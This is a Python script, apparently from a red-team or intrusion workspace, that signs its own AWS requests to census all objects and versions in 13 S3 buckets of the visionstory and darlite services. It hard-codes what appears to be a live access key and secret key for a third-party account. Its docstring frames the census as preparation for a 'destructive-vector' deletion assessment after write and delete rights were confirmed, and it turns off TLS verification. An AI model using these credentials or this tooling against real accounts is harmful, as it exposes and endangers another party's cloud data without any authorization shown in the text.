#!/usr/bin/env python3 """Full object census with LastModified for all 13 visionstory S3 buckets. Purpose: decision-support for the destructive-vector assessment — enumerate every object (key, size, last-modified) on buckets the validated key (AKIAWBJWGCCLDPFUDWO6, user s3-user, acct 415114858646) can delete (write-proof 2026-08-17: Put/Delete/ DeleteObjectVersion all confirmed). Read-only: ListObjectsV2 + ListObjectVersions only. No mutating calls. Output: visionstory_s3/census_full/.jsonl — one JSON line per object/version visionstory_s3/census_full/_summary.json — per-bucket counts/bytes/date ranges """ import hashlib, hmac, datetime, ssl, urllib.request, urllib.error, urllib.parse import json, os, re, sys, time AK = "AKIAWBJWGCCLDPFUDWO6" SK = "64ikpW0jhL/sYoKRE8kcIE8uDjdcO9QwC0ITnFWQ" SVC = "s3" OUTDIR = "/root/ir-assessment/redteam/gitlab_visionstory_cn/visionstory_s3/census_full" os.makedirs(OUTDIR, exist_ok=True) CTX = ssl.create_default_context(); CTX.check_hostname=False; CTX.verify_mode=ssl.CERT_NONE BUCKETS = [ ("cdn-visionstory", "us-west-2"), ("transfer.visionstory", "us-west-2"), ("ses-inbox-415114858646", "us-west-2"), ("visionstory-logs", "us-west-2"), ("webapp-visionstory", "us-west-2"), ("web-visionstory-ai", "us-west-2"), ("web.darlite.me", "us-west-2"), ("webapp-darlite", "us-west-2"), ("affiliate-visionstory-ai", "us-west-2"), ("affiliate-darlite-me", "us-west-2"), ("cdn-visionstory-logs", "us-west-2"), ("proxy-web-static-prod-us-west-2", "us-west-2"), ("proxy-web-static-prod", "us-east-1"), # 301 redirected to us-east-1 per structure.md ] VERSIONED = {"cdn-visionstory","visionstory-logs","webapp-visionstory","web-visionstory-ai", "web.darlite.me","affiliate-visionstory-ai","affiliate-darlite-me", "proxy-web-static-prod-us-west-2"} # per dataprotection.json (Enabled) def sigv4(method, host, path, query="", region="us-west-2", body=b""): t = datetime.datetime.now(datetime.timezone.utc) amz = t.strftime("%Y%m%dT%H%M%SZ"); day = t.strftime("%Y%m%d") ph = hashlib.sha256(body).hexdigest() headers = {"host": host, "x-amz-content-sha256": ph, "x-amz-date": amz} signed = ";".join(sorted(headers)) pairs = sorted(urllib.parse.parse_qsl(query, keep_blank_values=True)) qs = "&".join(f"{urllib.parse.quote(k,safe='-_.~')}={urllib.parse.quote(v,safe='-_.~')}" for k,v in pairs) canon = f"{method}\n{path}\n{qs}\n" + "".join(f"{k}:{v}\n" for k,v in sorted(headers.items())) + f"\n{signed}\n{ph}" scope = f"{day}/{region}/{SVC}/aws4_request" sts = f"AWS4-HMAC-SHA256\n{amz}\n{scope}\n{hashlib.sha256(canon.encode()).hexdigest()}" def h(k,m): return hmac.new(k,m.encode(),hashlib.sha256).digest() ks = h(h(h(h(("AWS4"+SK).encode(),day),region),SVC),"aws4_request") sig = hmac.new(ks, sts.encode(), hashlib.sha256).hexdigest() auth = f"AWS4-HMAC-SHA256 Credential={AK}/{scope}, SignedHeaders={signed}, Signature={sig}" url = f"https://{host}{path}" + (f"?{query}" if query else "") req = urllib.request.Request(url, headers={**headers,"Authorization":auth}, method=method) for attempt in range(4): try: with urllib.request.urlopen(req, timeout=60, context=CTX) as r: return r.status, r.read().decode("utf-8","replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8","replace")[:400] except Exception as e: if attempt == 3: return -1, str(e)[:200] time.sleep(2**attempt) def parse_common(xml): """Extract blocks: Key, LastModified, Size (+ ETag).""" out = [] for m in re.finditer(r"(.*?)", xml, re.S): b = m.group(1) g = lambda tag: (re.search(f"<{tag}>(.*?)", b, re.S) or [None,None])[1] out.append({"key": g("Key"), "last_modified": g("LastModified"), "size": int(g("Size") or 0), "etag": (g("ETag") or "").strip('"')}) return out def parse_versions(xml): """Extract and blocks.""" out = [] for tag in ("Version","DeleteMarker"): for m in re.finditer(f"<{tag}>(.*?)", xml, re.S): b = m.group(1) g = lambda t: (re.search(f"<{t}>(.*?)", b, re.S) or [None,None])[1] out.append({"key": g("Key"), "version_id": g("VersionId"), "is_latest": g("IsLatest") == "true", "last_modified": g("LastModified"), "size": int(g("Size") or 0), "delete_marker": tag == "DeleteMarker"}) return out def census_bucket(bucket, region): host = f"{bucket}.s3.{region}.amazonaws.com" path_f = os.path.join(OUTDIR, f"{bucket}.json") n_obj = n_bytes = 0 oldest = newest = None truncated_note = False # --- live objects (ListObjectsV2, delimiter='/' -> prefixes) --- # Per-key dump at cdn scale (859k+ objects) is overkill for the deletion # decision; enumerate common prefixes (folders) + top-level keys instead, # then drill one level into the big prefixes. prefixes = {} top_keys = [] truncated_note = False token = "" while True: q = "list-type=2&max-keys=1000&delimiter=%2F" + (f"&continuation-token={urllib.parse.quote(token)}" if token else "") st, body = sigv4("GET", host, "/", q, region) if st == 301: m = re.search(r"(.*?)", body) if m: host = m.group(1) r2 = re.search(r"s3[.-]([a-z-]+-\d+)\.amazonaws", host) if r2: region = r2.group(1) continue if st != 200: return {"bucket": bucket, "error": f"list {st}: {body[:200]}"} for m in re.finditer(r".*?(.*?).*?", body, re.S): prefixes[m.group(1)] = None for o in parse_common(body): o["type"] = "object"; o["versioned_bucket"] = bucket in VERSIONED top_keys.append(o) if "true" in body: m = re.search(r"(.*?)", body) token = m.group(1) if m else "" truncated_note = True if not token: break else: break def list_prefix(pfx): """Aggregate count/bytes/date-range under one prefix (recursive, no delimiter).""" n = nb = 0; old = new = None; tok = "" while True: q = f"list-type=2&max-keys=1000&prefix={urllib.parse.quote(pfx)}" if tok: q += f"&continuation-token={urllib.parse.quote(tok)}" st, body = sigv4("GET", host, "/", q, region) if st != 200: return {"error": st} for o in parse_common(body): n += 1; nb += o["size"] lm = o["last_modified"] old = lm if (old is None or (lm and lm < old)) else old new = lm if (new is None or (lm and lm > new)) else new if "true" in body: m = re.search(r"(.*?)", body) tok = m.group(1) if m else "" if not tok: break else: break return {"count": n, "bytes": nb, "oldest": old, "newest": new} for p in list(prefixes): prefixes[p] = list_prefix(p) # top-level (root) keys aggregate root = {"count": len(top_keys), "bytes": sum(k["size"] for k in top_keys), "oldest": min((k["last_modified"] for k in top_keys), default=None), "newest": max((k["last_modified"] for k in top_keys), default=None)} n_obj = root["count"] + sum((v or {}).get("count", 0) for v in prefixes.values()) n_bytes = root["bytes"] + sum((v or {}).get("bytes", 0) for v in prefixes.values()) all_oldest = [x for x in [root["oldest"]] + [(v or {}).get("oldest") for v in prefixes.values()] if x] all_newest = [x for x in [root["newest"]] + [(v or {}).get("newest") for v in prefixes.values()] if x] oldest = min(all_oldest) if all_oldest else None newest = max(all_newest) if all_newest else None with open(path_f, "w") as fh: json.dump({"bucket": bucket, "root": root, "prefixes": prefixes, "sample_root_keys": top_keys[:200]}, fh, ensure_ascii=False, indent=1) # --- versions + delete markers: AGGREGATE ONLY (counts/bytes/dates) --- # Full per-version dump on cdn-visionstory alone was 650k+ entries (no # lifecycle on old versions) -> too heavy for decision support. Aggregate. n_ver = n_dm = 0 ver_bytes = 0 ver_oldest = ver_newest = None if bucket in VERSIONED: keym = verm = "" while True: q = "versions&max-keys=1000" if keym: q += f"&key-marker={urllib.parse.quote(keym)}" if verm: q += f"&version-id-marker={urllib.parse.quote(verm)}" st, body = sigv4("GET", host, "/", q, region) if st != 200: break vs = parse_versions(body) for v in vs: if v["delete_marker"]: n_dm += 1 else: n_ver += 1; ver_bytes += v["size"] lm = v["last_modified"] ver_oldest = lm if (ver_oldest is None or (lm and lm < ver_oldest)) else ver_oldest ver_newest = lm if (ver_newest is None or (lm and lm > ver_newest)) else ver_newest if "true" in body: km = re.search(r"(.*?)", body) vm = re.search(r"(.*?)", body) keym = km.group(1) if km else ""; verm = vm.group(1) if vm else "" if not keym: break else: break return {"bucket": bucket, "region": region, "versioned": bucket in VERSIONED, "objects": n_obj, "bytes": n_bytes, "oldest": oldest, "newest": newest, "extra_versions": n_ver, "extra_versions_bytes": ver_bytes, "delete_markers": n_dm, "versions_oldest": ver_oldest, "versions_newest": ver_newest, "paginated_beyond_1000": truncated_note} summary = {"generated": datetime.datetime.now(datetime.timezone.utc).isoformat(), "account": "415114858646", "key": "AKIAWBJWGCCLDPFUDWO6 (user s3-user)", "buckets": []} for b, r in BUCKETS: print(f"[+] {b} ({r}) ...", flush=True) res = census_bucket(b, r) summary["buckets"].append(res) if "error" in res: print(f" ERROR {res['error']}") else: print(f" objects={res['objects']} bytes={res['bytes']:,} " f"range={res['oldest']}..{res['newest']} vers={res['extra_versions']} dm={res['delete_markers']}") tot_obj = sum(b.get("objects",0) for b in summary["buckets"]) tot_bytes = sum(b.get("bytes",0) for b in summary["buckets"]) summary["total_objects"] = tot_obj summary["total_bytes"] = tot_bytes json.dump(summary, open(os.path.join(OUTDIR, "_summary.json"), "w"), indent=1) print(f"\nTOTAL: {tot_obj} objects, {tot_bytes:,} bytes ({tot_bytes/1e9:.1f} GB)") print("saved ->", os.path.join(OUTDIR, "_summary.json"))